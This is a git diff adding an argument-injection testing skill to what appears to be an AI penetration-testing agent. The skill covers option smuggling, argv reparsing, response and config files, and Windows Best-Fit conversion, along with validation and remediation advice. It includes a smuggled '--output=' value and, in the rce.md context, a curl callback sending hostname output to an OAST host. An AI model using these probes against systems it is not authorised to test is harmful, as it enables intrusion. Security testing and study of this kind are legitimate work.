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Add argument injection security skill
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diff --git a/strix/skills/README.md b/strix/skills/README.mdindex 387b6544..36ffe7c4 100644--- a/strix/skills/README.md+++ b/strix/skills/README.md@@ -43,6 +43,7 @@ Notable source-aware skills:- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`- `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis+- `argument_injection` (vulnerabilities): shell-free CLI option smuggling, secondary argument-file parsing, and platform-specific argv transformation boundariesNotable LLM security skills:- `llm_applications` (technologies): end-to-end OWASP 2026 LLM01-LLM10 coverage across models, RAG, vectors, agents, tools, outputs, supply chain, and resource controlsdiff --git a/strix/skills/vulnerabilities/argument_injection.md b/strix/skills/vulnerabilities/argument_injection.mdnew file mode 100644index 00000000..4119156e--- /dev/null+++ b/strix/skills/vulnerabilities/argument_injection.md@@ -0,0 +1,157 @@+---+name: argument-injection+description: Test shell-free command argument injection across argv builders and CLI parsers, including option smuggling, response/config-file parsing, argument-boundary reparsing, and Windows Unicode-to-ANSI Best-Fit transformations+---++# Argument Injection++Use this skill when attacker-influenced data reaches a trusted command-line program, even when no shell is involved. The security question is whether the input changes the program's **option set, operands, configuration, subcommand, or downstream parser state**.++Load `rce` when a shell parses the command string. Load `semantic_confusion` when validation and the final CLI/filesystem/configuration consumer see different representations.++## Model Every Parser Boundary++Build the actual transformation chain:++```text+request value+ -> application validation+ -> argv builder or command-line string serializer+ -> OS/process creation API+ -> runtime argv construction+ -> target option parser+ -> response/config/auth file parser, URL parser, or subcommand+```++Do not treat all process APIs alike:++- POSIX `execve(path, argv, envp)` and list-form subprocess APIs preserve array-element boundaries. Whitespace inside one element does not create another argument.+- Shell/string forms introduce shell tokenization before the target program sees `argv`.+- Windows process creation commonly serializes an argument array into one command-line string and lets the child runtime parse it back. Quoting rules differ across CRTs and applications.+- Some programs deliberately reparse an argument as a response file, configuration file, URL, expression, template, or nested command language.++Record the exact API, platform, runtime, target binary/version, option parser, and final `argv` observed by the child.++## Primitive 1: Option and Subcommand Injection++An attacker-controlled value placed where an operand is expected can be interpreted as an option when it begins with an option prefix:++```text+intended: ["tool", USER_VALUE]+supplied: USER_VALUE = "--output=/controlled/path"+actual: tool parses an output option instead of an operand+```++Inventory security-relevant option classes rather than memorizing one payload:++- output, upload, extraction, log, cache, plugin, template, or configuration paths+- alternate URL schemes, proxies, certificates, credentials, and authentication files+- hooks, helpers, filters, interpreters, external programs, or dynamic libraries+- config overrides, environment definitions, working directories, and search paths+- subcommands that expose administrative, import/export, restore, diagnostic, or execution features++Check whether the target supports `--` as an end-of-options marker and whether the application places it before the untrusted operand. Do not assume every CLI honors `--`, or that it applies after a subcommand switches to a second parser.++## Primitive 2: Argument-Boundary Breakout++Require a component that reparses or reconstructs arguments. Candidate boundaries include:++- shell or command-string construction+- Windows quoting/escaping mismatches between parent and child runtimes+- newline-, NUL-, delimiter-, or quote-sensitive custom launchers+- wrappers that join an array and later split it+- CGI/interpreter mappings that turn request data into command-line options++Distinguish these outcomes:++```text+["tool", "user --flag"] # one argv element; no split by execve+["tool", "user", "--flag"] # extra argv element reached the target+["tool", "@args.txt"] # one element, then reparsed by the target+```++Logs often render arrays as strings and can falsely suggest splitting. Capture the child's real arguments through source instrumentation, a wrapper process, debugger, audit trace, `/proc/<pid>/cmdline`, or the platform equivalent.++## Primitive 3: Response, Config, and Authentication Files++Many trusted programs consume a second language after argv parsing:++- `@response-file` syntax used by compilers, linkers, JVM tooling, and custom launchers+- `--config`, `-K`, credentials/auth files, include files, and rc/profile paths+- newline-delimited key/value files generated from attacker-controlled fields+- file contents where control characters create a new directive, identity, host, or option++Trace both attacker influence over the **file path** and influence over the **file content**. Correct shell quoting does not protect a file that is later tokenized by a different grammar. Record duplicate-key behavior, newline rules, comments, escaping, include directives, and first/last-value precedence.++## Windows Unicode-to-ANSI Best-Fit++On Windows, narrow-character APIs and CRT startup paths can convert Unicode command-line, environment, or filesystem data into an ANSI code page. Best-Fit mappings may introduce ASCII characters after earlier validation.++Relevant boundaries include:++- `GetCommandLineA` or a narrow `main(int, char **)` startup path+- `GetEnvironmentVariableA`, `GetCurrentDirectoryA`, and narrow filesystem APIs+- framework or native-extension transitions from UTF-16 strings to an ANSI code page++`CommandLineToArgvW` is the documented Windows command-line parser; there is no documented `CommandLineToArgvA`. Determine which CRT or application-specific parser constructs narrow `argv`.++Treat mappings as code-page-specific hypotheses, not universal payloads. Candidate transformations include soft hyphen to `-`, fullwidth/compatibility slash characters to `/` or `\`, and compatibility quotes or letters to ASCII equivalents. Capture:++- submitted Unicode code points and encoded bytes+- active system/process code page+- wide string before conversion+- narrow bytes and final `argv` or filesystem path after conversion++Using wide-character APIs removes this particular conversion boundary but does not fix ordinary option injection.++## Reconnaissance++In source, locate process creation and work forward into the consumer:++```text+exec* posix_spawn subprocess ProcessBuilder Runtime.exec+CreateProcess ShellExecute child_process os/exec Command+```++For each attacker-controlled argument, answer:++1. Is it a distinct argv element or part of a command string?+2. Can it begin with the target's option prefix?+3. Is an end-of-options marker supported and correctly positioned?+4. Does a wrapper, CRT, shell, or target reparse it?+5. Can it select a response/config/auth file or inject directives into one?+6. Which target option or subcommand turns that control into read, write, request, identity, or execution capability?++For black-box testing, compare an ordinary operand with option-prefixed, delimiter-bearing, control-character, and platform-specific Unicode variants. Match tests to options that actually exist in the deployed binary/version.++## Validation++- Show the final `argv` or secondary parser input, not only the application log line.+- Pair the candidate with a control where the same bytes remain a literal operand.+- Demonstrate the exact option, directive, subcommand, path, or handler selected.+- Reproduce against the deployed binary, runtime, code page, and configuration.+- Separate option control, additional-argument control, arbitrary directive control, and command execution; they are different primitives.++## False Positives++- The input is one argv element and the target treats it only as a positional operand.+- `--` is supported, placed before the value, and not bypassed by a subparser.+- A strict allowlist prevents option prefixes and all later transformations preserve it.+- A delimiter appears only in logging or display formatting.+- A response/config path is controllable but its contents or directives are not.+- A Unicode character is accepted but no narrow/Best-Fit conversion occurs.+- The injected option exists on another release or platform but not the deployed target.++## Remediation++- Use argument-array process APIs and avoid shell/string construction.+- Insert `--` before untrusted operands where every relevant parser supports it.+- Validate operands against the target CLI's grammar, not a generic shell blacklist.+- Fix security-sensitive option names and configuration paths in trusted code.+- Generate configuration/auth files with a format-aware serializer that rejects control characters and ambiguous duplicates.+- On Windows, keep data in wide-character APIs and verify child-runtime parsing rules.+- Enforce authorization again at the privileged operation selected by the CLI.++## Summary++Argument injection is control of a trusted program's behavior through its argv or a parser reached from argv. Preserve parser boundaries in the model: list-form execution, command-string tokenization, Windows runtime conversion, option parsing, and response/config-file parsing are distinct stages with distinct exploit conditions.diff --git a/strix/skills/vulnerabilities/rce.md b/strix/skills/vulnerabilities/rce.mdindex aa9c815f..3769b83d 100644--- a/strix/skills/vulnerabilities/rce.md+++ b/strix/skills/vulnerabilities/rce.md@@ -80,6 +80,7 @@ curl https://xyz.oast.fun/$(hostname)- Break out of quoted segments by alternating quotes and escapes- Environment expansion: `$PATH`, `${HOME}`, command substitution- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`+- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.**Path and Builtin Confusion**- Force absolute paths (`/usr/bin/id`) vs relying on PATH